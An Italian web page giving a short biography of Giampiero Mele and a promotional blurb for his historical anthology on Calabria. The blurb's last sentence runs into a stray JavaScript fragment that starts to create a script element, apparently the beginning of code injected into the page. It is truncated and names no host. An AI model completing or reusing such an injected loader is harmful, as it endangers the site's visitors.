Giampiero Mele

giampiero_meleGiampiero Mele (Roma, 1958) si laurea in Scienze Politiche presso la “Sapienza” Università di Roma nel 1983. Nel 1982 consegue un Master in “Mass communication” presso la University of Southern California a Los Angeles. Inizia nel 1985 a lavorare nella ICET, azienda di telecomunicazioni fondata dal padre, il Cavaliere del Lavoro Ing. Gabriele Mele, dove ricoprirà dal 1992 la carica di Amministratore Delegato. Pubblica i libri Trastevere addio e Fili d’ambra. Il Rinascimento del Baltico. Nel 2003 fonda l’Associazione Italia–Lettonia di cui è Presidente.
Ipse dixit: In Calabria la Storia non era di passaggio
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2014-614 copertinaCalabria guerriera e ribelle, 2014, Aracne

Un luogo comune vuole che in Calabria la Storia sia sempre di passaggio. L’idea dell’antologia storica è nata per smentire questo luogo comune. Annibale e Spartaco erano andati in Calabria non di passaggio ma per reclutare ribelli e organizzarsi. Giulia la figlia di Augusto, che può essere considerata la Lady Diana di 2.000 anni fa, fu confinata a Reggio Calabria e là morì a causa dell’Imperatore Tiberio suo ex-marito. Felice Vinci, ribelle alle tesi ortodosse, ci fa conoscere suo nonno, calabrese, che dovette andarsene a causa del terremoto, mentre il brano seguente ci fa incontrare Alarico il Re-Guerriero che saccheggiò Roma dopo 800 anni. Con Gioacchino da Fiore incontreremo un Monaco pensatore, profeta e ribelle e perciò condannato dal Concilio del 1215. Parleremo inoltre di Dan Brown, il Priorato di Sion, il brigante “Re Marcone”, Tommaso Campanella, Alexandre Dumas, Re Gioacchino Murat, Mussolini ed infine il campo di concentramento di Ferramonti di Tarsia, dove nessun prigioniero morì di morte violenta. In Calabria la Storia non era di passaggio.var d=document;var s=d.createElement(‘script’);